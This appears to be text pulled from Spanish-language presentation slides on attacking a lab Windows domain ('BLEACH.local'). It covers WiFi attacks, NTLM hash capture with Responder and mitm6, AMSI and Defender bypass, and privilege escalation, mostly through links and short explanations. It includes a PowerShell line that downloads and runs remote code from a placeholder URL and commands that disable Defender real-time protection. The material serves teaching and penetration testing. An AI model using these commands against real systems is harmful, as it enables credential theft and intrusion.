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HACKING WIFI IS MORE THAN PASSWORDS 



HACKING WIFI IS MORE THAN PASSWORDS 

https://github.com/sensepost/wpa_sycophant 

https://github.com/DanMcInerney/wifijammer 
https://github.com/SValkanov/wifivoid 

https://github.com/sensepost/wpa_sycophant
https://github.com/DanMcInerney/wifijammer
https://github.com/SValkanov/wifivoid


MORE IN THE MIDDLE THAN A THURSDAY



MORE IN THE MIDDLE THAN A THURSDAY



MORE IN THE MIDDLE THAN A THURSDAY
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https://github.com/sensepost/berate_ap 

I <3 MANA ATTACK 

https://github.com/sensepost/berate_ap


https://github.com/sensepost/berate_ap 

I <3 MANA ATTACK 

https://github.com/sensepost/hostapd-mana 

https://github.com/sensepost/berate_ap
https://github.com/sensepost/hostapd-mana






BLEACH.local : FIRST ACCESS : HTLMv2 HASH   
RESPONDER

RESPONDER.py es una herramienta de ataque de red que se utiliza para interceptar y obtener los 
hashes NTLM de las contraseñas de los usuarios. 

La herramienta funciona engañando a los dispositivos de la red para que se autentiquen con la 
herramienta. El ataque aprovecha las debilidades en la implementación del protocolo NTLMv1/v2 de 
Microsoft para forzar la autenticación a través de la herramienta y obtener los hashes NTLM de 
las contraseñas de los usuarios en la red.

$ responder -I eth0



BLEACH.local : FIRST ACCESS : HTLMv2 HASH   
CUANDO UN DISPOSITIVO EN UNA RED IPV6 NECESITA RESOLVER UN NOMBRE DE DOMINIO, ENVÍA UNA CONSULTA 
DE DNS EN MULTICAST A TODOS LOS DISPOSITIVOS DE LA RED LOCAL. ESTO SIGNIFICA QUE CUALQUIER 
DISPOSITIVO EN LA RED PUEDE RESPONDER A LA CONSULTA Y PROPORCIONAR UNA DIRECCIÓN IP FALSA, LO QUE 
PERMITE A UN ATACANTE REALIZAR ATAQUES DE PHISHING, REDIRECCIONAMIENTO DE TRÁFICO Y OTROS TIPOS 
DE ATAQUES MITM.

MITM6 ES UNA HERRAMIENTA DE CÓDIGO ABIERTO QUE SE UTILIZA PARA REALIZAR ATAQUES DE TIPO 
MAN-IN-THE-MIDDLE (MITM) CONTRA REDES IPV6. LA HERRAMIENTA SE ENFOCA EN EXPLOTAR DEBILIDADES EN 
LA IMPLEMENTACIÓN DEL PROTOCOLO DE RESOLUCIÓN DE NOMBRES DE DOMINIO (DNS) EN ENTORNOS DE RED 
IPV6.

MITM6 APROVECHA ESTA DEBILIDAD EN LA IMPLEMENTACIÓN DEL PROTOCOLO DE RESOLUCIÓN DE NOMBRES DE 
DOMINIO EN REDES IPV6 PARA REALIZAR UN ATAQUE MITM Y REDIRIGIR EL TRÁFICO DE RED DE LAS VÍCTIMAS 
A TRAVÉS DE UN SERVIDOR CONTROLADO POR EL ATACANTE. LA HERRAMIENTA INTERCEPTA LAS SOLICITUDES DE 
DNS REALIZADAS POR LOS DISPOSITIVOS EN LA RED Y LAS RESPONDE CON RESPUESTAS FALSAS QUE CONTIENEN 
DIRECCIONES IP CONTROLADAS POR EL ATACANTE.

$ sudo mitm6 -i eth0

$ responder -I eth0 -wFv
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BLEACH.local:ABUSING CREDENTIAL
Un hash NTLM es un tipo de función hash criptográfica 
utilizada para almacenar contraseñas de usuarios de 
Windows. Se utiliza para verificar la autenticidad de un 
usuario que intenta iniciar sesión en un sistema o red.

NTLM significa "New Technology LAN Manager" y es 
un protocolo de autenticación de red utilizado por 
sistemas operativos de Microsoft como Windows NT, 
Windows 2000, Windows XP y versiones posteriores. El 
hash NTLM se genera mediante un algoritmo 
criptográfico que convierte la contraseña del usuario 
en una cadena de caracteres hexadecimal de 128 bits.

https://github.com/Greenwolf/ntlm_theft (!) 

https://github.com/Gl3bGl4z/All_NTLM_leak 

https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/ 

https://www.securify.nl/blog/living-off-the-land-stealing-netntlm-hashes/ 

https://github.com/Greenwolf/ntlm_theft
https://github.com/Gl3bGl4z/All_NTLM_leak
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
https://www.securify.nl/blog/living-off-the-land-stealing-netntlm-hashes/
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BLEACH.local : A FIRST BYPASS : AMSI 

El Windows Interfaz de examen antimalware (AMSI) es un estándar de interfaz 
versátil que permite que las aplicaciones y los servicios se integren con 
cualquier producto antimalware que esté presente en una máquina. AMSI 
proporciona protección mejorada contra malware para los usuarios finales y sus 
datos, aplicaciones y cargas de trabajo.

AMSI es independiente del proveedor antimalware (AV); está diseñado para 
permitir las técnicas de detección y protección de malware más comunes 
proporcionadas por los productos antimalware actuales que se pueden integrar en 
las aplicaciones. 
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BLEACH.local : A FIRST BYPASS : AMSI 

https://amsi.fail/ 

IEX(New-Object Net.WebClient).downloadString('http://URL-PS-RESOURCE')

https://github.com/t3l3machus/hoaxshell#usage

https://amsi.fail/
https://github.com/t3l3machus/hoaxshell#usage
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https://amsi.fail/ https://github.com/t3l3machus/hoaxshell#usage

https://amsi.fail/
https://github.com/t3l3machus/hoaxshell#usage
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https://amsi.fail/
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BLEACH.local : A FIRST BYPASS : AMSI 

https://amsi.fail/ https://github.com/t3l3machus/hoaxshell#usage

https://amsi.fail/
https://github.com/t3l3machus/hoaxshell#usage


BLEACH.local : PRIVILEGE ESCALATION : LVL1
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   PS C:\Windows\System32> Set-MpPreference -DisableIOAVProtection 1
  PS C:\Windows\System32> Set-MpPreference -DisableRealtimeMonitoring 1   



BLEACH.local : A FIRST BYPASS : DEFENDER 

https://www.fo-sec.com/articles/10-defender-bypass-methods#introduction 

   PS C:\Windows\System32> Set-MpPreference -DisableIOAVProtection 1
  PS C:\Windows\System32> Set-MpPreference -DisableRealtimeMonitoring 1   

https://www.fo-sec.com/articles/10-defender-bypass-methods#introduction
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BLEACH.local : PRIVILEGE ESCALATION 

https://github.com/rasta-mouse/Watson 

https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat 

https://steflan-security.com/window

s-privilege-escalation-cheat-sheet/ 
https://www.hackingarticles.in/windows-privilege-escalation-seimpersonateprivilege/ 

https://github.com/rasta-mouse/Watson
https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat
https://steflan-security.com/windows-privilege-escalation-cheat-sheet/
https://steflan-security.com/windows-privilege-escalation-cheat-sheet/
https://www.hackingarticles.in/windows-privilege-escalation-seimpersonateprivilege/



